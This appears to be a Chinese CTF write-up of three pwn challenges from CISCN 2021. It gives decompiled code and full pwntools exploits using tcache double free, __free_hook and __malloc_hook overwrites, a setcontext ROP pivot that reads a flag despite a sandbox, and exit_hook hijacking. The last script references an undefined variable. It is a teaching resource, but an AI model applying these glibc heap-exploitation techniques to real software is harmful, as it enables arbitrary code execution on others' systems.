2021·CISCN国赛初赛WP

PWN

lonelywolf

保护全开,并且是在libc-2.27.so,含有tache bin

alloc没啥,挺常规的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
unsigned __int64 alloc()
{
size_t v1; // rbx
void *v2; // rax
size_t size; // [rsp+0h] [rbp-18h] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-10h]

v4 = __readfsqword(0x28u);
printf(1LL, "Index: ");
scanf(&unk_F44, &size); //index得等于0
if ( !size )
{
printf(1LL, "Size: ");
scanf(&unk_F44, &size);
v1 = size;
if ( size > 0x78 ) // 不能分配超过0x78的块
{
printf(1LL, "Too large");
}
else
{
v2 = malloc(size);
if ( v2 )
{
chunk_size = v1;
chunk_ptr = v2;
puts("Done!");
}
else
{
puts("allocate failed");
}
}
}
return __readfsqword(0x28u) ^ v4;
}

堆块的结构:

1
2
3
4
struct{
chunk_size;
chunk_ptr;
}

漏洞点在这,由于tache的缘故导致uaf漏洞更加好利用了…

1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 delete()
{
__int64 v1; // [rsp+0h] [rbp-18h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-10h]

v2 = __readfsqword(0x28u);
printf(1LL, "Index: ");
scanf(&unk_F44, &v1);
if ( !v1 && chunk_ptr )
free(chunk_ptr); // uaf
return __readfsqword(0x28u) ^ v2;
}

由于没有清零chunk_ptr,导致被free的chunk也能show

1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 show()
{
__int64 v1; // [rsp+0h] [rbp-18h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-10h]

v2 = __readfsqword(0x28u);
printf(1LL, "Index: ");
scanf(&unk_F44, &v1);
if ( !v1 && chunk_ptr )
printf(1LL, "Content: %s\n", (const char *)chunk_ptr);
return __readfsqword(0x28u) ^ v2;
}

edit很常规,并没有off-by-one,但是由于chunk_ptr没有置零所以可以随便写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
unsigned __int64 edit()
{
_BYTE *v0; // rbx
char *v1; // rbp
__int64 v3; // [rsp+0h] [rbp-28h] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-20h]

v4 = __readfsqword(0x28u);
printf(1LL, "Index: ");
scanf(&unk_F44, &v3);
if ( !v3 )
{
if ( chunk_ptr )
{
printf(1LL, "Content: ");
v0 = chunk_ptr;
if ( chunk_size )
{
v1 = (char *)chunk_ptr + chunk_size;
while ( 1 )
{
read(0, v0, 1uLL);
if ( *v0 == '\n' )
break;
if ( ++v0 == v1 )
return __readfsqword(0x28u) ^ v4;
}
*v0 = 0;
}
}
}
return __readfsqword(0x28u) ^ v4;
}

在这得先泄露heap_baselibc_base,前者为了劫持tache 控制堆块,后者为了one_gadget

泄露也很简单,通过改变key来double freetache的出现让double free变得异常简单,连堆块的大小都不用检查了

1
2
3
4
add(0,0x70)
free(0)
edit(0,'a'*0x10)
free(0)

直接show就能泄露堆地址了

泄露了堆的基地址之后呢,我们就可以修改tache bin的fd来劫持tache 控制堆块,add两次我们就得到了控制堆块,通过写让它以往0x250的堆块已经满了,然后把这个控制堆块free掉就能进入unsorted bin里面,之后show除了就能得到libc的基地址

1
2
3
4
5
6
payload = p64(heap_base + 0x10)
edit(0,payload)
add(0,0x70)
add(0,0x70)
edit(0,'\x00'*0x23+'\x07')
free(0)

之后再此往控制堆块里面写入__free_hook的地址,再add出来就能写它为one_gadget

1
2
3
4
edit(0,'\x03'+'\x00'*0x3f+p64(free_hook))
add(0,0x18)
edit(0,p64(one_gadget))
free(0)

getshell!

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/usr/bin/env python

from pwn import *

context.log_level = 'debug'
elf = ELF('lonelywolf')
libc = ELF('libc-2.27.so')
local = 1
binary = 'lonelywolf'
port = '26743'

if local == 1:
io = process(binary)
else:
io = remote("node3.buuoj.cn",port)

def add(idx,size):
io.recvuntil('Your choice: ')
io.sendline('1')
io.recvuntil('Index: ')
io.sendline(str(idx))
io.recvuntil('Size: ')
io.sendline(str(size))

def edit(idx,content):
io.recvuntil('Your choice: ')
io.sendline('2')
io.recvuntil('Index: ')
io.sendline(str(idx))
io.recvuntil('Content: ')
io.sendline(content)

def show(idx):
io.recvuntil('Your choice: ')
io.sendline('3')
io.recvuntil('Index: ')
io.sendline(str(idx))

def free(idx):
io.recvuntil('Your choice: ')
io.sendline('4')
io.recvuntil('Index: ')
io.sendline(str(idx))

add(0,0x70)
free(0)

edit(0,'a'*0x10)
free(0)


show(0)
io.recvuntil('Content: ')
heap_base = u64(io.recv(6).ljust(8,'\x00')) - 0x260
log.success("[*]heap_base => " + hex(heap_base))
payload = p64(heap_base + 0x10)
edit(0,payload)

add(0,0x70)
add(0,0x70)

edit(0,'\x00'*0x23+'\x07')
free(0)

show(0)
io.recvuntil('Content: ')
libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 96 -0x10 - libc.sym['__malloc_hook']
log.success("[*]libc_base => " + hex(libc_base))
one_gadget = libc_base + 0x10a41c
free_hook = libc_base + libc.sym['__free_hook']
edit(0,'\x03'+'\x00'*0x3f+p64(free_hook))
add(0,0x18)

edit(0,p64(one_gadget))
# gdb.attach(io)
free(0)
'''
0x4f3d5
0x4f432
0x10a41c
'''
#gdb.attach(io)
io.interactive()

silverwolf

保护全开

在初始化的时候是开了沙箱的

拿工具扫一下,只能用ORW三个系统调用,ORW没跑了

和上题相比就是多了一个沙箱,这里只列出allocfree函数

alloc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
unsigned __int64 alloc()
{
size_t size_1; // rbx
void *ptr; // rax
size_t size; // [rsp+0h] [rbp-18h] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-10h]

printf(1LL, "Index: ");
scanf(&unk_1144, &size);
if ( !size ) //index还是得等于0
{
printf(1LL, "Size: ");
scanf(&unk_1144, &size);
size_1 = size;
if ( size > 0x78 ) //只能申请小于0x78大小的堆块
{
printf(1LL, "Too large");
}
else
{
ptr = malloc(size);
if ( ptr )
{
chunk_size = size_1;
chunk_ptr = ptr;
puts("Done!");
}
else
{
puts("allocate failed");
}
}
}
return __readfsqword(0x28u) ^ v4;
}

free:

1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 delete()
{
__int64 v1; // [rsp+0h] [rbp-18h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-10h]

v2 = __readfsqword(0x28u);
printf(1LL, "Index: ");
scanf(&unk_1144, &v1);
if ( !v1 && chunk_ptr )
free(chunk_ptr); //uaf
return __readfsqword(0x28u) ^ v2;
}

既然是堆的ORW那么就需要泄露heap_baselibc_base,泄露heap_base的目的是栈迁移到堆上,并且在堆上布置ROP链,libc_base是为了寻找对应的ROPgadget

因为堆块的结构都是一样的,泄露heap_baselibc_base步骤都差不多,不过还是有点差别,原因在于初始化的时候,申请了很多堆块也free了很多堆块,所以在这就要先把堆块全部申请回来然后再进行double free,当时没有申请回来,也能够正常泄露heap_baselibc_base,但是在后面写的时候写不进去,所以还是搭建和之前那题一样的环境吧!

和上题一样修改tache bin 的key就能进行double free了,之后直接show就能泄露heap_base

1
2
3
4
5
6
7
for i in range(7):
add(0x78)
edit('a')

for i in range(2):
edit('\x00'*0x10)
free()

之后就是修改tache bin的fd劫持到控制堆块,泄露libc_base,没啥变化

1
2
3
4
5
edit(p64(heap_base+0x10))
add(0x78)
add(0x78)
edit('\x00'*0x23 + '\x07')
free()

泄露工作完成之后,就能去找ROPgadget了,记得一定要看清楚….其中一个gadget不知道怎么就找错了,卡了一段时间….

1
2
3
4
5
6
7
8
9
10
11
free_hook = libc_base + libc.sym['__free_hook']
pop_rdi = libc_base + 0x215bf
pop_rax = libc_base + 0x43ae8
pop_rsi = libc_base + 0x23eea
pop_rdx = libc_base + 0x1b96
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
setcontext = libc_base + libc.sym['setcontext'] + 53
syscall = libc_base + 0xE5965
flag_addr = heap_base + 0x1000
ret = libc_base + 0x8aa

之前劫持了控制堆块,这里就开始写它布置我们需要的堆块,heap_base + 0x1000用来放置flag的路径,heap_base + 0x2000heap_base + 0x20A0是用来栈迁移的,至于为什么是这两个地址,等下就知道了,heap_base + 0x3000heap_base + 0x3060是用来存我们的ROP链的,因为一个堆块放不下,只能用两个堆块来放

1
2
3
4
5
6
7
8
9
10
payload = '\x02'*0x40
payload += p64(free_hook)#0x20
payload += p64(0)
payload += p64(heap_base + 0x1000)#flag #0x30
payload += p64(heap_base + 0x2000)#stack #0x40
payload += p64(heap_base + 0x20A0)#stack 0x60
payload += p64(heap_base + 0x3000)#orw1 #0x50
payload += p64(heap_base + 0x3060)#orw2 #0x60
# pasue()
edit(payload)

ROP链和以前的没什么区别,就是注意一下打开和读的位置,至于为什么第一个为什么用的是系统调用,因为read会破坏我们的堆栈结构,所以就用系统调用就好了

1
2
3
4
5
6
7
8
9
10
orw = p64(pop_rdi) + p64(flag_addr)
orw += p64(pop_rax) + p64(2)
orw += p64(pop_rsi) + p64(0)
orw += p64(syscall)
orw += p64(pop_rdi) + p64(3)
orw += p64(pop_rsi) + p64(heap_base + 0x3000)
orw += p64(pop_rdx) + p64(0x30)
orw += p64(read)
orw += p64(pop_rdi) + p64(1)
orw += p64(write)

下面就是进行参数布置和栈迁移了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
add(0x18)
edit(p64(setcontext)) #修改__free_hook为setcontext+53
add(0x38)
edit('./flag')

add(0x68)
edit(orw[:0x60])
add(0x78)
edit(orw[0x60:])

add(0x58)
edit(p64(heap_base + 0x3000)+p64(ret))
add(0x48)
free()

首先setcontext+53是怎么回事呢?在libc中搜索,就能看到这条gadget,发现只要控制了rdi就能够控制rsp,所以怎么控制rdi呢?这就很巧妙,我们来看下free( )函数,它原本的参数rdi就是堆块的地址对不对,所以当我们劫持它变成setcontext+53的时候,这个rdi就传给了它,所以它就会去[rdi+0A0]的内存处去找,这个位置正正好好就是add(0x58)这个堆块的位置,所以rsp就变成heap_base + 0x3000这个地方,而这个地方存放着我们的ROP链,就一环扣一环,很巧妙…,至于为什么要加一个ret,看图中是不是push了rcx,防止它破坏栈结构把它弹出来

接下来调试看看

此时的free已经被劫持进了setcontext+53

0x56222468d000就是**add(0x48)之后的地址,它加A0的位置就是p64(heap_base + 0x3000)+p64(ret)**的位置

此时的rsp已经到了我们的ROP链,可以看到第一条命令是POP rdi,没毛病!

完成ROP链的调用之后,就得到了flag

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#!/usr/bin/env python

from pwn import *

context.log_level = 'debug'
elf = ELF('silverwolf')
libc = ELF('libc-2.27.so')
local = 1
binary = 'silverwolf'
port = '26743'

if local == 1:
io = process(binary)
else:
io = remote("node3.buuoj.cn",port)

def add(size):
io.sendlineafter(': ', '1')
io.sendlineafter(': ', str(0))
io.sendlineafter(': ', str(size))

def edit(content):
io.sendlineafter(': ', '2')
io.sendlineafter(': ', str(0))
io.sendlineafter(': ', content)

def show():
io.sendlineafter(': ', '3')
io.sendlineafter(': ', str(0))

def free():
io.sendlineafter(': ', '4')
io.sendlineafter(': ', str(0))

gdb.attach(io)

for i in range(7):
add(0x78)
edit('a')

for i in range(2):
edit('\x00'*0x10)
free()

show()
io.recvuntil('Content: ')
heap_base = u64(io.recv(6).ljust(8, b'\x00')) & 0xfffffffff000
success('heap_base -> {}'.format(hex(heap_base)))


edit(p64(heap_base+0x10))
add(0x78)
add(0x78)
edit('\x00'*0x23 + '\x07')
free()
show()
io.recvuntil('Content: ')
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x70 - libc.sym['__malloc_hook']
success('libc_base -> {}'.format(hex(libc_base)))
# pause()
free_hook = libc_base + libc.sym['__free_hook']
pop_rdi = libc_base + 0x215bf
pop_rax = libc_base + 0x43ae8
pop_rsi = libc_base + 0x23eea
pop_rdx = libc_base + 0x1b96
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
setcontext = libc_base + libc.sym['setcontext'] + 53
syscall = libc_base + 0xE5965
flag_addr = heap_base + 0x1000
ret = libc_base + 0x8aa

#add(0,0x240)
payload = '\x02'*0x40
payload += p64(free_hook)#0x20
payload += p64(0)
payload += p64(heap_base + 0x1000)#flag #0x30
payload += p64(heap_base + 0x2000)#stack #0x40
payload += p64(heap_base + 0x20A0)#stack 0x60
payload += p64(heap_base + 0x3000)#orw1 #0x50
payload += p64(heap_base + 0x3060)#orw2 #0x60
# pasue()
edit(payload)
#gdb.attach(io)
# pause()
orw = p64(pop_rdi) + p64(flag_addr)
orw += p64(pop_rax) + p64(2)
orw += p64(pop_rsi) + p64(0)
orw += p64(syscall)
orw += p64(pop_rdi) + p64(3)
orw += p64(pop_rsi) + p64(heap_base + 0x3000)
orw += p64(pop_rdx) + p64(0x20)
orw += p64(read)
orw += p64(pop_rdi) + p64(1)
orw += p64(write)

add(0x18)
edit(p64(setcontext))
add(0x38)
edit('./flag')

add(0x68)
edit(orw[:0x60])
add(0x78)
edit(orw[0x60:])

add(0x58)
edit(p64(heap_base + 0x3000)+p64(ret))
add(0x48)
# gdb.attach(io)
# pause()
free()
#gdb.attach(io)
io.interactive()

pwny

在初始化函数中open了一个文件,并将把fd存起来

1
2
3
4
5
6
7
8
9
10
11
12
13
int sub_A10()
{
int result; // eax

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
result = open("/dev/urandom", 0);
if ( result < 0 )
exit(0);
fd = result;
return result;
}

write函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 sub_BA0()
{
__int64 index; // rbp
__int64 v2; // [rsp+0h] [rbp-28h] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-20h]

v3 = __readfsqword(0x28u);
printf_chk(1LL, "Index: ");
isoc99_scanf("%ld", &v2);
index = v2;
v2 = 0LL;
read(fd, &v2, 8uLL);
qword_202060[index] = v2;
return __readfsqword(0x28u) ^ v3;
}

read函数

1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 sub_B20()
{
__int64 v1; // [rsp+0h] [rbp-18h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-10h]

v2 = __readfsqword(0x28u);
printf_chk(1LL, "Index: ");
v1 = 0LL;
read(fd, &v1, 8uLL);
printf_chk(1LL, "Result: %lx\n", qword_202060[v1]);
return __readfsqword(0x28u) ^ v2;
}

由于一开始的文件描述符是随机数,所以read直接报错退出很正常,我们通过write函数来覆盖fd(并没有限制索引的范围),但是第一次read的时候,由于第一次fd的是奇奇怪怪的数字,所以第一次读的时候会失败,但是会把fd覆盖成0,第二次读的时候就能成功读了

之后就能通过索引任意读写了,但是需要注意的是索引要以QWORD字节对齐来索引,往上翻有很多东西可以泄露libc,比如

1
2
3
4
5
.got:0000000000201F98 puts_ptr        dq offset puts
.got:0000000000201FD0 exit_ptr dq offset exit
.got:0000000000201FA8 read_ptr dq offset read
.bss:0000000000202020 stdout dq ?
.bss:0000000000202040 stderr dq ?

计算方法就是(0x202020 - 0x202060)/ 8就可以了

1
2
3
read_s(p64(0xFFFFFFFFFFFFFFF8))
io.recvuntil("Result: ")
libc_base = int(io.recvuntil('\n',drop = True),16) - libc.sym['_IO_2_1_stdout_']

由于程序开了PIE,所以我们还得泄露qword_202060在运行时的地址,这里用sub_9c0来泄露,好多师傅用下面这条来泄露,原理都是一样的

1
.data:0000000000202008 off_202008      dq offset off_202008

泄露完前面这些地址之后有三种做法:

劫持栈的返回地址

之后就是泄露栈地址,栈地址简单粗暴

1
2
3
4
5
6
environ = libc_base + libc.sym['environ']
print(hex(environ))

read_s(p64((environ-bss_addr)//8))
io.recvuntil("Result: ")
stack = int(io.recvuntil('\n',drop = True),16) -0x120

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
# p = remote("124.71.230.240","26157")
context.log_level = 'debug'
io = process('pwny')
libc = ELF("libc-2.27.so")
def write_s(idx):
io.recvuntil("Your choice:")
io.sendline("2")
io.recvuntil("Index: ")
io.sendline(str(idx))


def read_s(idx):
io.recvuntil("Your choice: ")
io.sendline("1")
io.recvuntil("Index: ")
io.send(idx)


# gdb.attach(io,"b *$rebase(0xBA2)")
write_s(0x100)
write_s(0x100)
read_s(p64(0xFFFFFFFFFFFFFFF8))
io.recvuntil("Result: ")
libc_base = int(io.recvuntil('\n',drop = True),16) - libc.sym['_IO_2_1_stdout_']
one_gadget = libc_base + 0x10a41c
sys_addr = libc_base + libc.sym['system']
print("[*]libc_base => "+hex(libc_base))

read_s(p64(0xFFFFFFFFFFFFFFA5))
io.recvuntil("Result: ")
bss_addr = int(io.recvuntil('\n',drop = True),16) - 0x9c0 +0x202060
print("[*]bss_addr => "+hex(bss_addr))

environ = libc_base + libc.sym['environ']
print(hex(environ))
# gdb.attach(io)
read_s(p64((environ-bss_addr)//8))

io.recvuntil("Result: ")
stack = int(io.recvuntil('\n',drop = True),16) -0x120
print("[*]stack => "+hex(stack))

write_s((stack-bss_addr)//8)
io.sendline(p64(one_gadget))

io.interactive()

劫持exit_hook

exit_hook劫持

exit_hook在pwn题中的应用

劫持__malloc_hook__free_hook已经是基本操作了,但是exit_hook却从未涉及过,这里记录一下劫持exit_hook,其实讲exit_hook,也只是是为了跟之前的malloc_hookfree_hook名称统一一下,在调用exit的时候并没有一个叫exit_hook的东西出现,但这并不意味着我们不可以劫持exit

写个小demo来调试看看exit()的调用过程

1
2
3
4
5
6
7
8
#include<stdio.h>

int main(void)
{
printf("welcome to exit\n");
exit(0);
return 1;
}

exit处下断点,我们跟进去看看,第一次运行跳到了_dl_runtime_resolve,不用管,重新运行一下好像就可以(应该静态编译的,不过问题不大

进去之后看到它首先调用__run_exit_handlers

glibc-2.27源码glibc-2.27-master\stdlib目录下有exit.c的源码,也证实了上面的调用

1
2
3
4
5
void
exit (int status)
{
__run_exit_handlers (status, &__exit_funcs, true, true);
}

__run_exit_handlers的源码就在上面,可以看到它调用了三个函数,但是动调的时候并没看到这三个函数,而是先到了do-global-dtors-aux-and-do-global-ctors-aux这两个函数,这个函数好像是用来辅助函数,不知道有啥用

do-global-dtors-aux-and-do-global-ctors-aux

1
2
3
4
5
6
7
8
9
10
11
12
13
14
while (true)
{
...
switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);

case ef_free:
case ef_us:
break;
case ef_on:
...

之后就是_dl_fini函数

下面是源码在glibc-2.27-master\elf,为了查看方便,这里删去了绝大部分的代码,这里只留下两个关键的函数调用

1
2
3
4
5
6
7
8
9
void
_dl_fini (void)
{
...
__rtld_lock_lock_recursive (GL(dl_load_lock));
...
__rtld_lock_unlock_recursive (GL(dl_load_lock));
...
}

找到它的定义发现它与_rtld_local有关

1
2
3
4
5
6
7
8
#define __libc_lock_lock_recursive(NAME)
#define __rtld_lock_lock_recursive(NAME)

# if IS_IN (rtld)
# define GL(name) _rtld_local._##name
# else
# define GL(name) _rtld_global._##name
# endif

pwndbg可以查看_rtld_global这个结构体,也是删掉了好多

至此我们可以整理一下exit函数的调用链exit() -> _exit() -> __run_exit_handlers -> do-global-dtors-aux -> do-global-ctors-aux -> _dl_fini -> __rtld_lock_lock_recursive/__rtld_lock_unlock_recursive ,只知道了这些链条之后,我们就可以进行劫持__rtld_lock_lock_recursive/__rtld_lock_unlock_recursive变成我们的one_gadget.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> p _rtld_global
$1 = {
...
l_next = 0x0,
l_prev = 0x7f1c918c9000,
l_real = 0x7f1c918e39f0 <_rtld_global+2448>,
l_ns = 0,
l_libname = 0x7f1c918e4030 <_dl_rtld_libname>,
...
l_tls_dtor_count = 0,
l_relro_addr = 2266752,
l_relro_size = 2432,
l_serial = 0,
l_audit = 0x7f1c918e3e60 <_rtld_global+3584>
},
audit_data = {{
cookie = 0,
bindflags = 0
} <repeats 16 times>},
_dl_rtld_lock_recursive = 0x7f1c916ba0e0 <rtld_lock_default_lock_recursive>,
_dl_rtld_unlock_recursive = 0x7f1c916ba0f0 <rtld_lock_default_unlock_recursive>,
_dl_make_stack_executable_hook = 0x7f1c916ccea0 <__GI__dl_make_stack_executable>,
_dl_stack_flags = 6,
_dl_tls_dtv_gaps = false,
_dl_tls_max_dtv_idx = 1,
}

这里一个计算的技巧是_dl_rtld_lock_recursive_rtld_global+3848,我们可以在上面的结构体当中看到l_real = 0x7f1c918e39f0 <_rtld_global+2448>所以我们拿这个地址减去2448就是_rtld_global的地址,再加上3848就是_dl_rtld_lock_recursive_dl_rtld_unlock_recursive同理

在这还有个小知识点,在查找one_gadget的时候如果直接用下面这条查找出来的one_gadget不太够用,但是如果我们加上-l2这个参数呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
➜ one_gadget libc-2.27.so -l2

0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

可以看到多了几条one_gadget,但是相对来说条件也更加苛刻,但是有时候就是这么碰巧呢?对吧!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
➜ one_gadget libc-2.27.so -l2
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0xe5617 execve("/bin/sh", [rbp-0x88], [rbp-0x70])
constraints:
[[rbp-0x88]] == NULL || [rbp-0x88] == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe561e execve("/bin/sh", rcx, [rbp-0x70])
constraints:
[rcx] == NULL || rcx == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe5622 execve("/bin/sh", rcx, rdx)
constraints:
[rcx] == NULL || rcx == NULL
[rdx] == NULL || rdx == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

0x10a428 execve("/bin/sh", rsi, [rax])
constraints:
[rsi] == NULL || rsi == NULL
[[rax]] == NULL || [rax] == NULL

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/python 
from pwn import *
import sys


# p = remote("124.71.230.240","26157")
context.log_level = 'debug'
p = process('pwny')
libc = ELF("libc-2.27.so")

def write_s(idx):
p.recvuntil("Your choice:")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))


def read_s(idx):
p.recvuntil("Your choice: ")
p.sendline("1")
p.recvuntil("Index: ")
p.send(idx)

write_s(256)
write_s(256)
read_s(p64(0xFFFFFFFFFFFFFFE7))
p.recvuntil("Result: ")
libcbase = int(p.recvuntil("\n")[0:-1],16)-libc.sym['puts']
print(hex(libcbase))

read_s(p64(0xFFFFFFFFFFFFFFA5))
p.recvuntil("Result: ")
bss_addr = int(p.recvuntil('\n',drop = True),16) - 0x9c0 +0x202060
print("[*]bss_addr => "+hex(bss_addr))

one = [0x10a41c,0x4f432,0x4f3d5,0xe5617,0xe561e,0xe5622,0x10a428]
sleep(0.1)
p.sendline('2')
exit_hook = str((libcbase+0x61bf60-bss_addr)/8)[0:-2]
print("exit_hook =>"+exit_hook)
p.sendlineafter("Index:",exit_hook)
p.send(p64(libcbase+one[6]))
sleep(0.1)
p.sendline('3') #触发exit
p.interactive()

劫持malloc_hook

还记得在输入的时候用的是scanf嘛,scanf有个特性,就是当输入的字符串过长的时候,会分配堆块来存放字符串,这就给我们劫持__malloc_hook提供可能,我们只要往__malloc_hook里面写入one_gadget,再输入一长串的字符串,就能触发程序malloc,达到one_gadget的目的,但是这里需要用realloc来跳转栈帧才能是成功执行one_gadget,所以这里的调用链是malloc -> __malloc_hook -> realloc -> one_gadget

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
# p = remote("124.71.230.240","26157")
context.log_level = 'debug'
io = process('pwny')
libc = ELF("libc-2.27.so")
def write_s(idx):
io.recvuntil("Your choice:")
io.sendline("2")
io.recvuntil("Index: ")
io.sendline(str(idx))


def read_s(idx):
io.recvuntil("Your choice: ")
io.sendline("1")
io.recvuntil("Index: ")
io.send(idx)


#gdb.attach(io)
write_s(0x100)
write_s(0x100)
read_s(p64(0xFFFFFFFFFFFFFFF8))
io.recvuntil("Result: ")
libc_base = int(io.recvuntil('\n',drop = True),16) - libc.sym['_IO_2_1_stdout_']
one_gadget = libc_base + 0x4f432
realloc = libc_base + libc.sym['realloc']
malloc_hook = libc_base + libc.sym['__malloc_hook']
print("[*]libc_base => "+hex(libc_base))
print("[*]realloc_hook => "+hex(realloc_hook))
print("[*]malloc_hook => "+hex(malloc_hook))

read_s(p64(0xFFFFFFFFFFFFFFA5))
io.recvuntil("Result: ")
bss_addr = int(io.recvuntil('\n',drop = True),16) - 0x9c0 +0x202060
print("[*]bss_addr => "+hex(bss_addr))

offset = (malloc_hook - bss_addr)//8
write_s(offset)
io.sendline(p64(realloc+14))

write_s(offset-1)
io.sendline(p64(one_gadget))
io.sendlineafter(":", b"1"*0x400)

io.interactive()

参考链接

ciscn 初赛 2021

2021CISCN初赛-WP(PWN)

CISCN2021线上赛_pwn